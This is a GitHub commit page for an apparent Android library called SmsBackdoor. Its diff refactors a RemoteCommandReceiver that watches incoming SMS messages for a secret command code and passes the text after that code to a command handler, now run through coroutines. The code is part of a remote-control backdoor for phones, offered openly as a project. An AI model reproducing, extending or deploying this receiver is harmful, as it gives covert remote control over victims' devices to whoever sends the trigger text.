Skip to content

Commit

Permalink
feature_coroutines (#5)
Browse files Browse the repository at this point in the history
* coroutine launch builder function for command handler.

* join on coroutine builder before finishing async in RemoteCommandReceiver.kt
  • Loading branch information
evilthreads669966 authored Oct 6, 2020
1 parent 04e1cca commit 0feb215
Showing 1 changed file with 5 additions and 2 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@ import android.provider.Telephony
import android.telephony.SmsMessage
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.launch
import kotlinx.coroutines.runBlocking

/*
( ( ) ( ( (
Expand Down Expand Up @@ -56,8 +57,10 @@ internal class RemoteCommandReceiver: BroadcastReceiver(){
}
val result = goAsync()
command.toString().takeIf { cmd -> cmd.contains(SmsBackdoor.commandCode) }?.let { cmd ->
GlobalScope.launch {
SmsBackdoor.commandHandler?.invoke(cmd.split(SmsBackdoor.commandCode)[1])
runBlocking {
GlobalScope.launch {
SmsBackdoor.commandHandler?.invoke(cmd.split(SmsBackdoor.commandCode)[1])
}.join()
result.finish()
}
}
Expand Down

0 comments on commit 0feb215

Please sign in to comment.